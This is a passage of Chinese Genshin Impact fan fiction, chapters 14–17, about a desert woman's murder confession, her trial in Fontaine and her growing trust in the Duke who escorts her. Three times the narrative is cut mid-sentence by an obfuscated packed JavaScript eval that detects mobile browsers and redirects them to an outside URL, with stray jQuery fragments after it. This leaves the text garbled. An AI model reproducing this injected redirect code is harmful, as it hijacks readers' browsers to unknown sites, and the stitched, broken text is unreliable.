他只是盯着她,露斯安读不懂他的表情,他蓝色的眼睛像深暗无边的海水,她的身影倒映在里面,犹如两点纯白微弱的烛火。
两个人沉默地对视,半晌,公爵的目光从她身上移开,投注于茶壶上的花纹,不知道他思考了什么,然后再一次将目光放到她的身上。
“一个老师并不能从根本上解决问题。”
他说,语气很淡,
“就算她把下辈子都贡献给沙漠,也不过是多几个人认得字而已。如你所说,须弥的症结在于资源分配的不公,举国的资源会向雨林倾斜,而教育正是需要倾尽国力的奢侈品。
“在‘知识’本身都被垄断的情况下,沙漠囿于贫困,于是没钱享受教育,所以只能做底层的活计勉强糊口,而底层的营收不足以支撑下一代的教育,于是下一代也只能重复相同的路径,贫穷就此完成世代的循环。而那些优秀的个体会得到晋升的机会,于是将沙漠人内部也分出三六九等,反抗的声音会因此而被削弱,矛盾就会转移到群体内部,至此,统治者不需要亲自出面就能完成‘知识
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15101935|163730||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
’的垄断,变相绞杀沙漠的教育根基。
“而‘知识’既然是统治者刻意维持的壁垒,那冒犯者必然要承担高额风险,那她可能被监禁,可能被暗杀,也有可能在无穷尽的躲避中随时改变主意。”
露斯安被问得愣了一会儿。
这好像是个离题的疑问,但又好像和她的处境息息相关。
她慢慢地眨一下眼。
“……所以,我该什么都不做吗?”
她听到了自己的反问声。
“您说的问题我确实想过,我们人类这么脆弱,到底为什么会诞生呢?
“我听说风神能吹散万年积雪,削平群山,所以有了蒙德如今的四季常春;岩王帝君率众仙荡平璃月,投枪化岛,封尽群魔,所以有璃月如今的四方太平;而雷神更是稻妻的百武之源,随手一刀就能将岛屿斩为两半……凡此种种,具是神迹,我们凡人倾尽一生之能,怕是也抵不上神的一个弹指,所以我们是不是生下来就只要等死?
“因为不能一蹴而就,所以干脆就不要开始?”
没有人能回答她的疑问,房间里只有她自己的声音空荡荡地回响。
“……或许吧,但我办不到。
“我知道人力微茫,但好在神力亦有极限。”
露斯安仰起脸,似乎想要通过头顶的玻璃和看一眼天际的阳光,但她只看到了沉甸甸的水影和巨大的涡轮,潋滟的水波在她脸上明灭交错,她的声音落在钢铁堡垒的内部,弹射出绵长悠远的回声。
“如果神真的无所不能,那须弥就不会在草神即位五百年后依然举国上下独信树王,岩王帝君也不会在自己的请仙奠仪上遇刺身亡。
“神也会在漫漫的时光里陨落更替,红尘三千丈,谁敢说自己不是在挣扎?
“蝼蚁尚且知道偷生,人类想自不量力做些出格的事不也正常?
“都是与天争命,谁也不比谁活得更高贵。”
她收回飘远的思绪,看向一言不发的公爵。
“所以,如果您问我一个老师能解决什么……大概,就像您说的,什么都解决不了。
“我们会从客观上获得一个老师,仅此而已,不代表其他。
“我读过的书不多……大人,我讲不来那些什么战略目标之类的大道理,但我知道,吃一顿饭就只管一顿饭的事,所以做一件事也只解决这一件事,这难道不是万物万事的基本道理?”
露斯安说着,从沙发上站了起来。
“神恩莫测,天不怜人,命如蚍蜉,我当自悯。”
她的声音沉下去,她的身体也是。
来自沙漠的高挑姑娘又一次屈膝跪了下去,这一次,她的情绪远比之前来得平静。
“公爵大人,我恳请您。”
她跪在办公室的正中央,仰脸看着沉默的公爵,然后她深深地吸一口气,像是下了什么决心,向公爵的方向伏下去。
柔顺的白发沿着她颈椎的起伏倒滑向地面,露出长而脆弱的颈项。
这是个毫无防备的姿势,就像纯白的羔羊在向漆黑的狼王展示自己的无害。
“我知道我触犯了规则,我愿意接受任何惩罚,但这件事确实和老师没有任何关系。
“违反规则的是我,杀人的也是我,老师和这件事毫无关系,唯有这点,希望您能高抬贵手。
“请您放她离开这里。”
公爵没有出声。
露斯安的眼前只有地面的纹路,她什么都看不到,所以感官更加敏锐,她能感受到他的目光在摩挲她裸露的后颈,这样的沉默让她感到危险,颈项的血管在他的目光里脆弱地跳动。
磨人的沉默。
然后她听到了声音。
他站了起来,向她走了过来。
就像是为了故意让听者焦虑似的,每一步都走得很慢,踩在地上的声音也格外清晰。
一步,两步,三步——
最后在她面前停下。
他将她置于自己的阴影之下。
露斯安的呼吸停止了。
这个距离太过危险,她的心脏、神经、颈椎、血管都一览无遗地暴露在他的目光之下,即使早就预想过这种结果,但她依然不能阻止本能的反应,她只能克制自己起身躲避的欲|望,但不能阻止心跳在胸膛里自杀似的跳动。
她听到了衣料摩擦的簌簌声,她听到了他身上金属配饰的交击声,然后她感受到了气流的涌动,他的体温和呼吸骤然接近,再然后,一只手掌按住了她的后颈。
宽大,粗粝,滚烫,圈住她最脆弱的部分,她的脉搏在他的掌心里跳动,那只手摩挲过她后颈的伤疤,她感受到了他指腹的粗茧和绑带粗糙的纹理,细细密密的颤栗从颈椎爬上背脊,露斯安咬住嘴唇,把所有的声音都咽回喉咙。
那个瞬间,她用尽全力忍耐住了反击的冲动,以至于整个身体都在因此而颤抖。
后颈的手略一用力,将她从地面拽了起来。
“?!”
心脏重重地跳了两下,然后从胸膛里失去了踪迹。
她猝不及防地撞进他的眼睛里。
极近的距离之下,她能清晰地看到他皮肤的纹理,也能看到他眼角的疤痕起伏的轮廓,他带着灰调的蓝眼睛透出冷铁的色泽,眯起来的时候,光会聚集在瞳孔的周围,一瞬间像沙漠里的野兽一样散发出幽光。
即使是半跪的姿势,他依然比她要高出一截,后颈的手滚烫,他的温度将她全然包裹在里面,
他就那么不辩喜怒地垂眼看着她,另一只手探向了她的肋骨。
脑子里的警报在尖叫。
露斯安本能地绷紧每一块肌肉,她的身体已经做好了逃跑的准备,然后她又用理智遏制住这种的本能,危机感笼罩下的神经脆弱而敏感,任何一点风吹草动都能变成身体确实的战栗。
但那只手并没有碰到她的身体。
他只是用手指,勾住了腰间那些垂下来的细细的金链。
他的手指离她的肋骨很近,她似乎能感受到粗粝的摩擦,就好像他在摩挲她的腰肢,但实际上并没有——
这样似碰非碰的触感甚至比粗暴的接触更加磨人,腰腹的肌肉因为过于紧张而振颤,危机感带来的电流正在攻击后背,她像遇到天敌的野兽一样弓起身体,但又不能从这种折磨中逃离,他的眼睛里倒映出她颤栗的姿态,她从他平静的目光里看到了涌动的暗流。
这样精神紧绷的状态下,一切体感都明晰得让人害怕,腰间那只手散发着强烈的存在感,就这么勾着她层层叠叠的金链子停在腰侧,分明没有直接触碰,她却有一种从肋骨到后腰都被他的体温烫化了的错觉。
他仔细地盯着她,不放过她的每一丝表情,然后,他的手指用力,金属在他手里发出细碎的声音,银色的金属线隐藏在不起眼的装饰里,在她的肋骨于他的手指间,扯出一道梦一样轻盈的丝。
在她灰败的脸色里,蓝眼睛的狼叼住她的后颈,在她面前咧开嘴,那表情无关微笑,似乎只是为了让猎物看清他嘴里的獠牙——
“如果我说‘不行’的话,你打算把它缠在我的脖子上吗,女士?”
15.第 15 章
露斯安来到枫丹半个月,既没学习到发条机械的制作技术,也没体验到枫丹的风土人情,但唯有一件事上的经验一骑绝尘,那就是上法庭。
十五天之内以不同的罪名被告两次,这种事在枫丹这个抽象的国家里大概也不是很常见。
但这一次露斯安已经有了充足的经验,她已经不是那个听说审判庭和歌剧院开在一起就会大脑短路的外国人了。
这一次她轻车熟路,走进熟悉的欧庇克莱歌剧院,走上熟悉的被告席,等候熟悉的面孔对她进行审判。
如果一定要说有什么不同,那就是这一次并不存在什么原告,开庭的时间也很早,媒体人也没来旁观,观众席上也只有零零散散的几个人,远没有上一次拖家带口的场面来得热闹。
审判官老爷——露斯安记得他叫“那维莱特”来着,看起来还是和十五天以前一样好看,他还是站在纯净的白色光柱里,当然也和十五天以前一样,清冷疏离得不像个人类。
“所以,露斯安小姐,你在梅洛彼得堡服刑期间,有蓄谋地对受害者进行了杀害,并主动在此认罪,对吗?”
“是。”
“你没有同谋,也没有受到他人指使或者雇佣,那么,促使你这么做的理由是什么?”
“他难道不该死吗?”
露斯安反问,她用“你们好奇怪啊”的眼神看过去,“我们那没有你们这么多条条框框,但连我都知道,这种对小孩子发泄的都是没种的畜生,像他那样的东西,放在我们沙漠就应该被吊起来晾在沙漠里,让赤鹫啄了他的眼睛再活活晒死。”
她理直气壮地看着高台上那个美貌的最高审判官,而对方安安静静地聆听她的陈述,既不表示赞同,也没有出言反驳,眼神认真而没有波澜,“你们为什么会让这样的东西活着浪费粮食?还是说,这是神明眼里‘正义’的一部分?”
最高审判官没有立刻回答,他的目光垂落在手中的资料上,那上面明确地记载了受害者的生平,当然,也包括他的入狱理由。
歌剧院里一时间有点安静,然后突兀地,贵宾席传来了打呵欠的声音——水神百无聊赖地伸了个懒腰,满脸无趣地站了起来。
“真是无聊的庭审,没有任何戏剧性的发展,不具备任何娱乐价值,白白浪费了我的早上。”
留下这样一句话,没有回答异国人的疑问,水神的身影就这么从看台上消失了。
“换言之,你认为自己在执行心中的正义,我从个人的立场对你表示理解和钦佩。”
最高审判官目送水神离开,然后才转动眼珠,将目光重新投注在露斯安身上。
那是一双很漂亮的眼睛,镶嵌在狭长优美的眼眶里,像两颗清凌凌的宝石,平静地映射世间一切喜怒而不改颜色,“但遗憾的是,枫丹的法律并不提倡私刑,你的行为触碰了法律的红线。”
他在这里停了片刻,如果是换一个人,会让人觉得这是他因为接下来的判决而不忍,但这位大审判官自始至终像凝固的水一样无波无澜,就好像那个停顿只是一种寻常的流程。
“——露斯安女士,你有罪。”
尽管没有几个人,观众席上还是传来了窃窃的议论,而他并没有理会。
“在交由谕示机裁定之前,还有最后一个问题。
“你在入境时是否提交了虚假的身份证明,隐瞒了自己的真实年龄?这会影响到最终的判决结果,请务必如实回答。”
…………
…………
最后,露斯安凭本事给自己喜提了两年刑期。
这个结果比她预想中要好得多。
审判之后就是去服刑,露斯安知道接下来会发生什么,执律庭的人会带着她离开歌剧院,坐船直达梅洛彼得堡最近的水上平台,她对这一流程了然于胸,既没有异议,也没有别的想法。
或许是因为熟悉,所以她觉得自己有点心不在焉,在走出歌剧院的时候,下意识地抬手挡了下算不上多烈的阳光,向路边的街景看了过去。
并没有在刻意寻找什么。
只是感官在自然环境下敏锐得不太正常。
或许是因为她太久没有见过阳光了,所以连花在风里吐蕊的声音都在感官里格外明晰。
刚才庭审的时候下过雨,空气湿漉漉的,透着草木的清芬。
雾似的云在天边抹开一片甜味儿的白,天被雨水洗得明澈发亮,迎面而来的风柔而湿润,歌剧院两边阶梯式的蓄水池边,虹彩蔷薇开在树荫里,在风的抚摸下颤抖着躬下身,扯一片沾着水滴的花瓣跌落在地面上。
露斯安看到散落的花瓣带着水汽,在风里打了几个滚,越过被阳光照得发亮的地面,软绵绵地撞上厚底的军靴,趴在金属搭扣的边缘轻轻颤抖。
——然后被一只缠着绑带的手随意地撕下来,落进喷泉的池子里。
有力的指节被镀上花瓣柔软的颜色,指根处银亮的指环在阳光下闪闪发亮。
“——”
风带着海水的味道,鼓起她身上的白色披肩,露斯安在风里愣了很久,才终于意识到自己看到了什么。
黑发的典狱长站在石柱的阴影里,背后是被雨水洗得清透的无垠天光。
他漫不经心地从靴子上撕下粉色的花瓣,细密的水汽沾上他有力的指尖,另一只手上握着的手铐暴露在阳光下,闪出一道锐利的光。
那高大挺拔的身材在阴影里,就像一个沉默而强势的陷阱。
那一连串动作是随意而散漫的,然后在某一刻,像是察觉到了什么,那双灰蓝色的眼睛漫不经心地向旁边撇了一眼。
——他看到她了。
这个认知让心脏猛地跳了两下,一瞬间,后颈的皮肤火辣辣地烧起来,她被久违的阳光晒得全身都在发烫。
露斯安不自觉地停下了脚步,被身后的士兵催促了一声,才想起来重新迈开步伐。
她忽然意识到,这条行进路线的终点就是公爵的位置。
——负责押解她的是公爵本人。
无数画面乱糟糟地从脑子里划过去,然后那些所有的念头,都在逐步靠近对方的过程里变成空白。
公爵就只是看着她,丝毫没有迎上来的打算,手指有一下没一下地点在手铐上,而她被督促着走向他,就像是主动走向一个漆黑的陷阱。
这一路并不长,但让露斯安感到莫名的煎熬,最后她抿着嘴在他面前停下,听到身后的守卫恭敬地叫他“公爵”。
“啊,辛苦了。”
他的声音从头顶上飘下来,露斯安把目光放到他衬衫的衣扣上,看到他敞开的衣领下,伤疤随着他说话时的笑意而鼓动,“接下来交给我就好。”
守卫离开了。
露斯安垂着头,她能感觉到他在看她……那目光沉沉的,和
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15104888|163730||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他指尖垂下来的手铐一样,让她感到了无言的威胁。
她全身的肌肉都在抗拒接下来的行为,但她最终还是并拢手腕,沉默地向他伸了过去。
咔啦。
闪亮的手铐在他指尖旋转出一个漂亮的弧,然后被他收在掌心。
——但那并没有扣到她手上。
“走吧。”他说。
“……哎?”
露斯安愣住了,她好一会儿都没有反应过来,而对方已经迈开了腿,先她一步迈进了明媚的阳光里。
露斯安茫然地看着他的背影,他身上的神之眼和金属配饰在阳光下闪闪发亮,那姿态是闲适而放松的,似乎完全不担心身后的犯人会忽然袭击他的空门或者逃之夭夭。
察觉到身后并没有人跟上,公爵扭转身体,而露斯安依然保持着刚才的姿势站在原地,愣愣地看着他的脸。
“怎么,你喜欢被人拷着走吗?我倒也不是不可以满足你。”
他向她展示了一下手铐,声音里带着点不正经的笑,看到她脸上的表情,笑意在他脸上加深,让他看起来又是那个风趣又好说话的公爵,“别紧张,开个玩笑而已,不必那么看着我。”
“……”
“手铐是一种警示,用以规约犯人的行为,而我相信我们之间能达成一个共识,那就是你知道什么该做,和什么不该做。”
他挑眉看着她,“当然,如果你真的逃跑了,会被视为我监管不力,而我相信你不会给我添麻烦的,对吧?”
露斯安想,自己点头的时候一定显得很蠢。
“所以。”
手铐在他指尖绕出一个亮闪闪的弧,然后随着他摊手的姿态,变成前进的邀请函,“小女士,现在我们可以走了吗?”
“啊……啊,哦。”
露斯安眨了眨眼,看到他转身才回过神来,试探着开口,“大人——”
几乎是她一开口,对方就扭头看向了她,露斯安莫名觉得自己踩漏了两个阶梯似的,心脏差点从胸膛里滚出去。
“——‘大人’?”
带着笑的声音重复这个称呼,公爵偏头看着她,失笑:“啊哈,你这么叫我的时候,从来都没有什么好事。”
“——”
那句话是笑着说的,并不带有苛责的意味,露斯安噎了一下,发现他好像也没有说错。
连她自己都觉得,如果不是因为押解人是他的话,那她大概也不会把接下来的请求说出口。
她盯着他看了一会儿,到底也没好意思叫他莱欧斯利,她想了想,试探着叫他,“公爵、”她又想了想,加上了一个后缀,“——老爷。”
莱欧斯利“唔”了一声:“这可真是个新鲜的称呼。”
他没有表示出反对,只是笑一笑,对她偏了下头,“你有什么事?”
“我能不能——”
她在湿润的海风里舔了舔发干的嘴唇,对上他的目光,不自在地绷紧了背脊,“能不能,让我先去一个地方?”
“如果我回答‘这不符合规矩’,你是打算用你那个‘你不答应我就跪下,还不答应我就直接做了你’的方式再走一遍流程吗?”
他的语气并不严苛,甚至还带着些一贯的笑意,也保持着那种没睡醒似的散漫,蓝灰色的眼睛里映出露斯安紧张的脸。
“这确实不符合流程。”他耸耸肩,“走吧。”
16.第 16 章
被雨水洗过的枫丹连空气都蓝得透亮,天边的云软得像机器里拉丝的糖,而枫丹人也一如这柔和秀美的风景,懒洋洋地开始他们的工作。
在这样的环境里,树荫下那个黑发蓝眼,只穿着长靴短裤,背着一人高的重剑,做佣兵打扮的沙漠女人,就像滴入清水的墨点一样醒目。
“迪希雅!”
看到那个身影的瞬间,露斯安眼睛一亮,快乐地飞奔过去,但她雀跃的步伐在看到对方脸上的表情时停了停,整个人都顿了一下,步伐从跑变成走,一点一点挪过去,脸上换成了乖巧的表情,
“迪希雅姐姐。”
迪希雅:“……”
她显然是想说些什么的,但是张开的嘴随着露斯安叫姐姐的声音又闭上了,她的目光在露斯安身上转了一圈,露斯安一脸无辜地背着手,对她笑一笑:“嘿嘿。”
“你以为这是叫两句‘姐姐’就能解决的吗?”
迪希雅伸手掐上她的脸——当然用的是没戴金属指钩的那一只,“知道自己做了会挨骂的事,那一开始就不要做啊,你怎么还笑得出来呢?”
她的声音充满了恨铁不成钢,
“老师留下一封信就消失了,你也留下一封信就消失了,你知道坎蒂丝看到这两封信摆在一起的时候是什么表情吗?”
迪希雅用力——用力地把她的脸向外扯,露斯安一点都没有反抗,而是努力露出了委屈的表情。
“那我帮上忙了吗?”露斯安问,“老师她还好吗?”
“啊,我让她安置在旅馆了。”
迪希雅松手,向旁边瞟了一眼,她又回过头,看到的是露斯安期期艾艾的眼神和被捏红的脸,她的手指抖了两下,最后妥协地叹了口气,选择伸手盖住自己留下的红痕,“你回不去了,对吗?”
“我……”
“所以,他是你的狱卒?”
没有等她的回答,迪希雅的目光又越过露斯安,落到了远处莱欧斯利的身上。
那目光并不和善,那是属于“炽鬃之狮”的眼神,在这一刻,这个沙漠佣兵身上透出了格外危险的气息,她身上火属性的神之眼就像是在回应主人的心情,跃跃欲试地亮了一下。
沙漠人的善恶观一脉相承,显然迪希雅不觉得杀了个人渣有什么问题。
其实露斯安自己也不觉得有问题。
但是她知道,如果自己在这里跑了,那对于公爵莱欧斯利而言就会变成很大问题。
“没关系的。”她迅速扯住了迪希雅的手腕,“两年而已,不是什么大事。”
“‘而已’?”迪希雅看向她,“你知道你在说什么吗?你人生里最美好的两年,因为处理了一个畜生就要浪费在监狱里?”
她把不赞同写在了脸上,“哈,这是什么道理,他们枫丹人竟然比教令院的老爷们更不讲理?”
“那是……”
露斯安虽然不觉得自己错了,但是让迪希雅和公爵起冲突并不是她想看到的,但她也不知道自己该怎么劝住迪希雅,只能小声辩解,“那也……那是枫丹审判庭的问题,不是他的问题。”
“你帮他说话?”迪希雅的惊讶溢于言表,“他看起来可不像个普通的狱卒,他是什么人?”
“他是典狱长。”
露斯安说,不意外地看到了迪希雅更惊讶的表情。
“在枫丹,这是需要典狱长来亲自押送你的罪名?”
“我没……不是这个原因。”
完全是下意识地,露斯安反手捂上后颈,掌心里感受到了伤疤的痕迹和跳动的脉搏,一天前的触感好像还残留在上面,在暖融融的阳光下面,让那一块的皮肤莫名地烧起来。
“因为他是个好老爷。”最后她说。
迪希雅用“你疯了吗”的目光看着她,她也觉得自己有哪里不正常,但她无法很好地用语言描述自己的想法,她只觉得心脏里堆满了情绪,
她忍不住又看了一眼远处的公爵。
他离这里有好一段距离,正撑着下巴站在街边,目光在蛋糕店和咖啡厅之间游移,那姿态与每一个苦恼“今天该吃点什么”的枫丹人没有不同。
自然与明媚的阳光为他赋予了在水下时没有的颜色,那高大的身材哪怕只是靠在那里都散发着让人无法忽视的存在感,就像是感应到了什么,他忽然转头,向这个方向看了一眼。
他的目光焦距的是迪希雅。
隔着数十米的距离,两位神之眼持有者的目光相撞了。
那目光有打量、有衡量、有战意,又或许还有什么其他东西,露斯安只觉得方圆百米的空气都因为两人的眼神而冻结,她在不能呼吸的间隙里紧张地绷紧身体,如果他们两个在真的当街动手——
她后悔自己思考得不够周全,这样的可能性让她不知所措。
但事实证明她多虑了。
这场对峙并没有持续很久,首先释放善意的竟然是那个典狱长——他礼貌地向迪希雅点头示意,态度友好得像是监护人之间的寒暄,然后他的目光落在她的身上,同样温和地对她笑了笑。
再然后他就移开了目光,走到露天咖啡厅,和柜台里的服务员说了什么。
最后他获得了一杯咖啡,坐在了遮阳伞笼罩的座位上。
安然,闲适,毫无戒备,就好像他跟本不是来押解犯人的。
迪希雅显然不能理解这样的态度,她的惊讶和疑惑都写在了脸上。
而露斯安的思绪,顺着他刚才的笑容飘了很远。
阳光明媚的街景,逐渐被回忆中的水底覆盖。
沉甸甸的的灯光和幽幽水影重新在眼前延展。
他是个好老爷。
这是露斯安的肺腑之言。
现在回忆起那场对峙,露斯安依然觉得心有余悸,她没有任何底牌,而他掌握着她的脉搏,他甚至知道她留有什么后手——即使她在跪下去的时候并没有想过要用它。
但她确实对他隐瞒了自己藏有武器的事实,这个行为足以推翻之前一切表面上的平和,让她所有举动都变成别有用心的蓄谋。
在那个时候,她确实紧张得大脑一片空白。
她觉得自己的血液随着时间一寸寸地冷下去,而他用手指摩挲她后颈的伤疤动作,就像一种危险的暗示。
他冷蓝色的双瞳里倒映着她僵硬的表情。
她至少应该逃跑,本能是这样催促的,她需要从他呼吸笼罩的范围里逃开,她需要从他手掌的钳制下逃离,但她又不能确定那是不是正确的判断,理智有另一种声音,现在她的任何行动都是打破平衡的导火索,狼的眼睛锁定着她,只要偏移目光,就会变成真正的宣战。
她依然拥有一定程度的行动力,如果拼尽全力,她或许能博取一丝生机——那么她应该这样做吗?
她在他呼吸笼罩的范围里,那意味着他的要害同样离她很近。
他大敞的衣领里透出柔软脆弱的体温,她余光里能看到他颈项上可怖的伤疤,当然也能看到皮肤下青色的血管,她甚至感受到了他有力的脉搏,就在她的面前,是只要转脸就能碰到的地方,她相信自己可以拼死将他撕碎,但那是个正确的选项吗?
细密的汗水从鼻尖渗透出来。
身体的戒备早就超过了阈值,现在失去了正常的反应,只剩下难以遏制的颤抖。
这场对峙持续了很久。
他冰凉的笑容里,透出的呼吸是滚烫的。
“你应该庆幸你没有攻击我,”他说,“从进门开始,到现在。”
扼着后颈的手突兀地消失了。
微凉的发丝盖上那个位置,强烈的温差让那一处的皮肤不自然地抽动了几下,露斯安条件反射地伸手盖上去,难以置信地看着他——
——他已经起身和她拉开了距离。
“我会按照流程将你交给审判庭处理。”他说,“现在,你可以回去休息了,我亲爱的女士。”
“…………”
露斯安不知道发生了什么,她只觉得后颈和肋骨上的体温挥之不去,她也不关心自己的判决,她只是本能地发出疑问,“老师——”
“在你的庭审开始以后,那位璃月的安女士会按照流程被释放。”
他走回办公桌后面,重新烧了一份水,“她的精神状态不太稳定,希望能通过顶罪的方式让你离开监狱,而干扰审判是一项可大可小的罪名,你也不希望她的刑期因为这种事节外生枝吧?”
“啊……”
露斯安还跪在地上,或者应该说是瘫软在地上,不能消化现在发生了什么。
她茫然地看着他,讷讷地张嘴:“您……”
“都说了我是好意。”他侧过身子,对她摊手,拖长了语调叹息,“但是谁信呢?”
“……”
他确实说过这样的话。
就在刚才,就在楼下,在她急于求得一个沟通机会的时候,他带着一脸无辜的表情自高处俯视着她,
【那位女士目前的精神状态不太安定,所以我好意邀请她在水下冷静一断时间,而她也欣然应允。】
而在当时的境遇下,露斯安以为那是一句暗含威胁的戏弄。
分明是同
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15115112|163730||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一句话,但现在听来的含义已经完全不同了。
似乎只是一瞬间的事,那个充满压迫感的形象从他身上消散了,虽然他现在依然是面色淡淡的看不出喜怒,但那种
典狱长的威压已经不复存在,对于她而言,现在的公爵,看起来实在是太好说话了。
露斯安无从得知他的思考脉络,但他软化的态度让她看到了额外的可能性。
她在原地犹豫了一下。
公爵为自己新沏了一壶茶,扭头却发现露斯安还跪在那里没有动,他挑起眉毛——因为他发现她重新跪直了。
“——公爵大人。”
露斯安迟疑地看着他,“审判是指……你们枫丹的那种吗?”
有观众有媒体,观众拖家带口地在歌剧院里,像演戏一样,说得每一句话都会闹得满城风雨的那种吗?
会出现在蒸汽鸟报的头条上,印着夸张的字体环提瓦特通报的……那种吗?
“‘我们枫丹’?”
他笑着重复一遍这个词,那个笑容当然也不再含有威胁的意味,反而像是忍俊不禁,“那我只能说声抱歉了,‘我们枫丹’确实就只有那一种庭审方式。”
露斯安略一沉默,她仔细地观察他的表情,而他显然注意到了她的打量,他也意识到了这种打量的隐藏含义,那张英俊的脸上,重新浮现了上位者的高深莫测。
“公爵大人。”
他看着她,没有说话,只是脸上写着“继续说下去”。
“我没有逃避惩罚的意思,但是……能不能——有没有办法,我是说,我不想这件事再一次被人议论。”
“你想和我谈条件?现在?”他重新靠回椅背,双腿交叠,似笑非笑地看着她,“我佩服你的勇气,女士。那么你打算为此开出什么价码?”
“我——”露斯安一时语塞,“我什么都没有。”
如果她有筹码,一开始就会亮出来争取生机。
“如果您有什么需求的话。”她轻声说,“我什么都可以做。”
“啊~”公爵发出一声不太正经的感叹,“真是个美妙的提议,我都要为此心动了。”
但他看起来并不像心动的样子。
尽管他的五官上浮着一层轻飘飘的玩味,但那双眼睛却是清明警醒的,他的手肘垫上椅背,偏头,单手支着额角,像是在品鉴她这一刻的决心,很长一段时间,他就只是这么盯着她看,既没有说好,也没有说不好。
露斯安抿嘴,努力将背挺得更直,尚未平息的心跳因为这样不明结果的对视而重新混乱起来。
“让人感动的觉悟,条件允许的话,真想再多欣赏几分钟。”
又过了片刻,公爵开口,那语气比平日更不正经,但他依然没有表态,只是不置可否地表示,“你先起来。”
“公爵大人——”
“怎么,你该不是想告诉我,我不答应你就不起来吧?”
这么说的时候,他严肃的眉眼里并没有太多厉色,至少这个可能性并没有触怒这个典狱长。
露斯安不能说自己没有这么想过。
他软化的态度让她看到了一丝可能性,所以她没有立刻行动。
尽管她自己也知道,这样的行为十分狡猾。
——因为她发现他是个有良心的老爷,所以贪得无厌地想要索求更多。
她抿一下嘴唇,仰着脸观察他的神色,希望能从上面找到松动的痕迹,而公爵只是双腿交叠靠在椅子里,面色淡淡地任她打量,只是随着时间的流逝,他脸上逐渐浮现出了很奇妙的神色。
“我要提醒你一下。”公爵又说,“下面的门我确实没有锁。”
“?”
他确实没有锁门。
因为露斯安听到了轴承转动的声音。
——有什么人进入了办公室,踩着轻盈的步伐跑了上来。
她对这个脚步声有印象。
如果是在平日,露斯安一定会在第一时间做出反应。
但是今天的情况十分特殊,所以她竟然一直愣在了那里,像傻了一样等着对方走上楼梯。
她首先看到的是长长的、毛茸茸的兔耳——娇小的护士长自楼梯的开口逐渐露出脸,一眼就看到了跪在中央的露斯安和翘着腿坐在座位上的公爵。
护士长眨了眨她宝石似的红眼睛,稚嫩的脸上浮现出了成熟的神色:
“我是不是来得不是时候?”
露斯安下意识地扭头看了公爵一眼。
公爵朝她眨一下眼,又摊一摊手,脸上写着“你看我说什么来着”。
17.第 17 章
“——安?露斯安?”
迪希雅的声音将她拉回现实,露斯安“啊”了一声,思维从深海的回忆抽离,发现迪希雅正皱眉看着她。
她知道迪希雅在担心什么。
为一个上位者的老爷说话,这听起来就像是疯了。
但是莱欧斯利和教令院的那些“大人物”不一样。
他和她见过的所有上位者都不一样。
他有风度、有原则、有涵养、有气量,他宽容得让她觉得自己的行为十分过分。
就像今天的庭审——那个时候她并不知道自己的请求有没有奏效。
但是今天开庭太早,观众确实没有几个,虽然有人在下面观看,但并没有媒体和留影机在记录过程。
所以,他是不是——这份结果当中,其实也有他在运作呢?
“他是个很好的老爷。”
最后露斯安只能这么强调,“他很讲道理,也没有为难过我……”
语言还是太过苍白,她恨不得能把脑子里的记忆掏给迪希雅看,最后,胸膛里所有的情绪都汇聚成了一句话:
“——他把我当成人在对待。”
沙漠人能理解这句话的分量,所以,迪希雅的震惊看起来更深刻一层。
“到底是什么让你这么替他说话?”
“我……我刺杀过他。”露斯安小声说,“但是他没有追究过。”
何止是没有追究过。
护士长希格雯甚至是来给她疗伤的。
事实上,那个时候,露斯安被护士长从地上扶起来的时候还是不能理解情况,当希格雯问她“你的伤还没有好全,现在有没有哪里感觉不舒服”的时候,她愣了一会儿才意识到,这是在说她前几日擂台上所受的伤。
当然,护士长摸着摸着陶醉地说“您的骨头长得真漂亮”什么的又是后话了。
就那点小伤,有什么很值得在意的吗?
所以护士长是……是他叫来为她医治的吗?
可是这并不应该。
她只是个屡次违反了规则的犯人,理应得到的是刑讯和责罚,他甚至知道她当时在擂台上是想杀了他,那有什么理由能让他对她如此仁慈?
她忍不住又看向了那个男人,对方正漫不经心地垂眼,给茶里加上两块方糖,又同样漫不经心地瞥了她一眼,问她:“还要茶吗?”
露斯安摇摇头,然后又点点头。
“这是什么选项。”公爵被她的肢体动作逗笑了,“我们这可没有‘要又不要’的奇怪服务。”
“能加糖吗?”她小声问,她看一看他的表情,把“多加一点”咽回去,又补充,“不……不加也可以。”
这个要求让他多看了她两眼,然后他哼出一声含混的笑,接下来,她看到他拎着糖罐放到了她面前。
“请吧,女士,随你喜欢。”他说,“仅限今天,可以免费。”
茶是好茶。
糖也很甜。
难以置信,所以他真的什么都没打算追究。
仔细回想整个流程,除了一开始的施压以外,他没有对她造成任何实质性的伤害,他甚至还专门找了护士长来为她治疗。
